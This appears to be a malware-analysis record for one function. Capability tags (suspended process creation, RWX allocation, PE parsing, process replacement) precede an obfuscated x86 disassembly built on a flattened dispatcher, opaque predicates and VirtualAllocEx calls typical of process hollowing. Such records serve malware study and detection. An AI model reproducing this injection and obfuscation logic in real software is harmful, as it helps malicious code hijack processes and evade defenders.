Function at 0x10002ba0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x120
mov eax, dword [0x10068200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x128], 0x7a1af181
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x12c], eax
sub eax, 0x800e7a38
je 0x100089b3
jmp 0x10002bdc
mov eax, dword [ebp - 0x12c]
sub eax, 0x8015349d
je 0x10005fd8
jmp 0x10002bf2
mov eax, dword [ebp - 0x12c]
sub eax, 0x8063031d
je 0x100076b8
jmp 0x10002c08
mov eax, dword [ebp - 0x12c]
sub eax, 0x809f2fd9
je 0x10008238
jmp 0x10002c1e
mov eax, dword [ebp - 0x12c]
sub eax, 0x80e68d17
je 0x10006fcd
jmp 0x10002c34
mov eax, dword [ebp - 0x12c]
sub eax, 0x81614dfd
je 0x10006225
jmp 0x10002c4a
mov eax, dword [ebp - 0x12c]
sub eax, 0x819e6118
je 0x1000722d
jmp 0x10002c60
mov eax, dword [ebp - 0x12c]
sub eax, 0x81a47e09
je 0x10007421
jmp 0x10002c76
mov eax, dword [ebp - 0x12c]
sub eax, 0x838209b6
je 0x10006890
jmp 0x10002c8c
mov eax, dword [ebp - 0x12c]
sub eax, 0x83e5f66f
je 0x1000888d
jmp 0x10002ca2
mov eax, dword [ebp - 0x12c]
sub eax, 0x847b568b
je 0x10006c30
jmp 0x10002cb8
mov eax, dword [ebp - 0x12c]
sub eax, 0x84f8059d
je 0x1000b30f
jmp 0x10002cce
mov eax, dword [ebp - 0x12c]
sub eax, 0x86ec4e2f
je 0x10009c4a
jmp 0x10002ce4
mov eax, dword [ebp - 0x12c]
sub eax, 0x871226dd
je 0x1000681a
jmp 0x10002cfa
mov eax, dword [ebp - 0x12c]
sub eax, 0x88dc4a84
je 0x10008f56
jmp 0x10002d10
mov eax, dword [ebp - 0x12c]
sub eax, 0x89d2839d
je 0x1000ae72
jmp 0x10002d26
mov eax, dword [ebp - 0x12c]
sub eax, 0x8aa4a51c
je 0x1000813d
jmp 0x10002d3c
mov eax, dword [ebp - 0x12c]
sub eax, 0x8ae6106d
je 0x1000b0b3
jmp 0x10002d52
mov eax, dword [ebp - 0x12c]
sub eax, 0x8b157cfd
je 0x10008039
jmp 0x10002d68
mov eax, dword [ebp - 0x12c]
sub eax, 0x8b29a58c
je 0x1000811e
jmp 0x10002d7e
mov eax, dword [ebp - 0x12c]
sub eax, 0x8c3507db
je 0x100088ac
jmp 0x10002d94
mov eax, dword [ebp - 0x12c]
sub eax, 0x8e91773a
je 0x1000b3aa
jmp 0x10002daa
mov eax, dword [ebp - 0x12c]
sub eax, 0x901d9e10
je 0x1000abed
jmp 0x10002dc0
mov eax, dword [ebp - 0x12c]
sub eax, 0x90639620
je 0x1000641d
jmp 0x10002dd6
mov eax, dword [ebp - 0x12c]
sub eax, 0x9066f847
je 0x10005ad1
jmp 0x10002dec
mov eax, dword [ebp - 0x12c]
sub eax, 0x9139b185
je 0x100059d6
jmp 0x10002e02
mov eax, dword [ebp - 0x12c]
sub eax, 0x923b8294
je 0x1000a07e
jmp 0x10002e18
mov eax, dword [ebp - 0x12c]
sub eax, 0x9323022c
je 0x1000810f
jmp 0x10002e2e
mov eax, dword [ebp - 0x12c]
sub eax, 0x9349cc9a
je 0x10005579
jmp 0x10002e44
mov eax, dword [ebp - 0x12c]
sub eax, 0x93a597c2
je 0x10008d0b
jmp 0x10002e5a
mov eax, dword [ebp - 0x12c]
sub eax, 0x9404c6ca
je 0x100068e1
jmp 0x10002e70
mov eax, dword [ebp - 0x12c]
sub eax, 0x942221c5
je 0x1000b4ee
jmp 0x10002e86
mov eax, dword [ebp - 0x12c]
sub eax, 0x948dbcac
je 0x100068f0
jmp 0x10002e9c
mov eax, dword [ebp - 0x12c]
sub eax, 0x950b583e
je 0x100063e1
jmp 0x10002eb2
mov eax, dword [ebp - 0x12c]
sub eax, 0x95944c87
je 0x1000a985
jmp 0x10002ec8
mov eax, dword [ebp - 0x12c]
sub eax, 0x95a6c077
je 0x10007f62
jmp 0x10002ede
mov eax, dword [ebp - 0x12c]
sub eax, 0x9610fd81
je 0x100081ab
jmp 0x10002ef4
mov eax, dword [ebp - 0x12c]
sub eax, 0x96831ca5
je 0x1000983a
jmp 0x10002f0a
mov eax, dword [ebp - 0x12c]
sub eax, 0x97420dd4
je 0x100075cc
jmp 0x10002f20
mov eax, dword [ebp - 0x12c]
sub eax, 0x975a2689
je 0x10005c78
jmp 0x10002f36
mov eax, dword [ebp - 0x12c]
sub eax, 0x98717cc5
je 0x1000b1e9
jmp 0x10002f4c
mov eax, dword [ebp - 0x12c]
sub eax, 0x989bcf87
je 0x1000971b
jmp 0x10002f62
mov eax, dword [ebp - 0x12c]
sub eax, 0x99a8784c
je 0x100066d0
jmp 0x10002f78
mov eax, dword [ebp - 0x12c]
sub eax, 0x99cb10f2
je 0x100088cb
jmp 0x10002f8e
mov eax, dword [ebp - 0x12c]
sub eax, 0x9b72e382
je 0x1000b5a9
jmp 0x10002fa4
mov eax, dword [ebp - 0x12c]
sub eax, 0x9be61525
je 0x1000b255
jmp 0x10002fba
mov eax, dword [ebp - 0x12c]
sub eax, 0x9c00dac4
je 0x10006a40
jmp 0x10002fd0
mov eax, dword [ebp - 0x12c]
sub eax, 0x9c2a9d50
je 0x1000a007
jmp 0x10002fe6
mov eax, dword [ebp - 0x12c]
sub eax, 0x9ce6c6f4
je 0x10006033
jmp 0x10002ffc
mov eax, dword [ebp - 0x12c]
sub eax, 0x9d52686b
je 0x1000afbe
jmp 0x10003012
mov eax, dword [ebp - 0x12c]
sub eax, 0x9d91e3f1
je 0x1000b0e1
jmp 0x10003028
mov eax, dword [ebp - 0x12c]
sub eax, 0x9d93269b
je 0x10006db9
jmp 0x1000303e
mov eax, dword [ebp - 0x12c]
sub eax, 0x9d9c8a94
je 0x10008764
jmp 0x10003054
mov eax, dword [ebp - 0x12c]
sub eax, 0x9e50115d
je 0x1000791d
jmp 0x1000306a
mov eax, dword [ebp - 0x12c]
sub eax, 0x9e658319
je 0x100099ff
jmp 0x10003080
mov eax, dword [ebp - 0x12c]
sub eax, 0x9ece0678
je 0x10009a4e
jmp 0x10003096
mov eax, dword [ebp - 0x12c]
sub eax, 0xa0771d3f
je 0x10006bab
jmp 0x100030ac
mov eax, dword [ebp - 0x12c]
sub eax, 0xa07e3a35
je 0x100083af
jmp 0x100030c2
mov eax, dword [ebp - 0x12c]
sub eax, 0xa0e26fe3
je 0x1000869d
jmp 0x100030d8
mov eax, dword [ebp - 0x12c]
sub eax, 0xa129af28
je 0x10006400
jmp 0x100030ee
mov eax, dword [ebp - 0x12c]
sub eax, 0xa192fbbf
je 0x1000663b
jmp 0x10003104
mov eax, dword [ebp - 0x12c]
sub eax, 0xa1a20c9e
je 0x1000b891
jmp 0x1000311a
mov eax, dword [ebp - 0x12c]
sub eax, 0xa2a2ade4
je 0x10008fc1
jmp 0x10003130
mov eax, dword [ebp - 0x12c]
sub eax, 0xa44ea2f8
je 0x10006a04
jmp 0x10003146
mov eax, dword [ebp - 0x12c]
sub eax, 0xa4eae65d
je 0x1000b826
mov dl, 1
mov eax, 0xc0c31b9a
mov ecx, 0xcc1b716
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd79a588
mov ecx, 0xf0456e11
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb18f2f0
mov ecx, 0xf9b5d01c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov dword [ebp - 0x128], 0x41aae083
jmp 0x1000baba
mov dl, 1
mov eax, 0x9ce6c6f4
mov ecx, 0xdf5f1415
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
mov edx, eax
add edx, 0xc997deb2
sub edx, 1
sub edx, 0xc997deb2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x14291cac
mov ecx, 0xf9ee8613
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
mov edx, ecx
sub edx, 0x80a41ba6
sub edx, 1
add edx, 0x80a41ba6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5e243fcf
mov ecx, 0xc482a928
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
movss xmm0, dword [0x1001937c]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x128], 0xa129af28
jmp 0x1000baba
mov dl, 1
mov eax, 0xbaa5cbe6
mov ecx, 0x90639620
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
mov edx, eax
add edx, 0x32e670c4
sub edx, 1
sub edx, 0x32e670c4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc3d1d07d
mov ecx, 0xd545e1f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
movss xmm0, dword [0x1001921c]
movss dword [ebp - 0x104], xmm0
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
mov edx, ecx
add edx, 0x6b728b1d
sub edx, 1
sub edx, 0x6b728b1d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf7860c87
mov ecx, 0x8c0f129
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x65dcbdab
mov ecx, 0xcb9e521e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
mov edx, ecx
add edx, 0xc0c96700
sub edx, 1
sub edx, 0xc0c96700
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7a531b7e
mov ecx, 0x838209b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
mov edx, eax
sub edx, 0x2931e04d
sub edx, 1
add edx, 0x2931e04d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7a531b7e
mov ecx, 0x9404c6ca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov dword [ebp - 0x128], 0x948dbcac
jmp 0x1000baba
movss xmm0, dword [0x10019368]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x128], 0x55b6b99b
jmp 0x1000baba
movss xmm0, dword [0x1001935c]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x128], 0x404edf8f
jmp 0x1000baba
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
mov edx, eax
add edx, 0x90fcc684
sub edx, 1
sub edx, 0x90fcc684
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x552c00e1
mov ecx, 0x143267e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov dword [ebp - 0x128], 0x52a0e32f
jmp 0x1000baba
movss xmm0, dword [0x10019204]
movss dword [ebp - 0x108], xmm0
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x74d5afc6
mov ecx, 0x2fd046a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov dword [ebp - 0x128], 0x79932939
jmp 0x1000baba
movss xmm0, dword [0x10019354]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x128], 0x10083d67
jmp 0x1000baba
mov dword [ebp - 0x128], 0xf98cc3cb
jmp 0x1000baba
movss xmm0, dword [0x100191e8]
movss dword [ebp - 0x10c], xmm0
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfd1ee424
mov ecx, 0xff07f32d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb03bf49d
mov ecx, 0xb101e421
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
movss xmm0, dword [0x10019314]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x10019310]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x128], 0xa9aaca6b
jmp 0x1000baba
mov dl, 1
mov eax, 0x36de415c
mov ecx, 0x1d34ae7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov dl, 1
mov eax, 0x8b29a58c
mov ecx, 0xa78a7104
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov dword [ebp - 0x128], 0x5b1f0e86
jmp 0x1000baba
mov dword [ebp - 0x128], 0x8b29a58c
jmp 0x1000baba
movss xmm0, dword [0x100192f0]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x128], 0x8aa4a51c
jmp 0x1000baba
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xac6f7fe1
mov ecx, 0x9610fd81
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
mov edx, eax
sub edx, 0x7f4ca35e
sub edx, 1
add edx, 0x7f4ca35e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xac6f7fe1
mov ecx, 0xa73c80e1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
movss xmm0, dword [0x100192e8]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x128], 0x5803815f
jmp 0x1000baba
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
mov edx, eax
sub edx, 0x60e7b1eb
sub edx, 1
add edx, 0x60e7b1eb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x691ba281
mov ecx, 0xecb446ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
mov edx, eax
add edx, 0x25cc8729
sub edx, 1
sub edx, 0x25cc8729
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5b36bc69
mov ecx, 0x1fefb77
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov dword [ebp - 0x128], 0xb94ba0d9
jmp 0x1000baba
movss xmm0, dword [0x100192b4]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x128], 0x8c3507db
jmp 0x1000baba
movss xmm0, dword [0x100192b0]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x128], 0x99cb10f2
jmp 0x1000baba
mov dl, 1
mov eax, 0x537282ec
mov ecx, 0x69a8a54d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x534b577b
mov ecx, 0x60a4b6ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov dl, 1
mov eax, 0xe02d6d31
mov ecx, 0xc1ec4aa4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
movss xmm0, dword [0x10019284]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x128], 0xd201db47
jmp 0x1000baba
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x503287c5
mov ecx, 0xb65c9add
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0xf4]
add eax, 4
mov dword [ebp - 0xa0], eax
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
mov edx, ecx
sub edx, 0x14ece084
sub edx, 1
add edx, 0x14ece084
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4d228ea8
mov ecx, 0xf622fc2d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10002560
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xf4]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x128], 0x39848fb7
jmp 0x1000baba
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x90]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov dword [ebp - 0x128], 0x9ece0678
jmp 0x1000baba
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
mov edx, eax
sub edx, 0x9351b6f5
sub edx, 1
add edx, 0x9351b6f5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd89ee68d
mov ecx, 0x12b79a9a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov eax, dword [ebp - 0x78]
movzx esi, word [eax + 2]
mov edx, dword [ebp - 0x7c]
mov eax, 0x7088aa43
mov ecx, 0x70447a9d
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x54], eax
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdfc33b5d
mov ecx, 0x923b8294
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov dword [ebp - 0x128], 0x113aeecb
jmp 0x1000baba
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
mov edx, eax
add edx, 0x6984712e
sub edx, 1
sub edx, 0x6984712e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x60cb7307
mov ecx, 0xbc2716fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov dword [ebp - 0x128], 0xf223fa0d
jmp 0x1000baba
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
mov edx, ecx
sub edx, 0xe7d1dbac
sub edx, 1
add edx, 0xe7d1dbac
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe43ac237
mov ecx, 0xd2b7c0e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
mov edx, eax
sub edx, 0x87429f4f
sub edx, 1
add edx, 0x87429f4f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaadedf76
mov ecx, 0xd3ffd7b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000baba
movss xmm0, dword [0x10019258]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x128], 0xd58d3154
jmp 0x1000baba
movss xmm0, dword [0x10019254]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x128], 0x2ab70cbf
jmp 0x1000baba
mov dword [ebp - 0x128], 0xbda40c0
jmp 0x1000baba
mov dword [ebp - 0x128], 0xd5c199fa
jmp 0x1000baba
mov dword [ebp - 0x128], 0xd8770230
jmp 0x1000baba
mov dword [ebp - 0x128], 0x7bef5661
jmp 0x1000baba
movss xmm0, dword [0x100191d4]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x128], 0xc70ec574
jmp 0x1000baba
mov dword [ebp - 0x128], 0xcef13239
jmp 0x1000baba
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x128], 0x265e8267
jmp 0x1000baba
jmp 0x10002bc0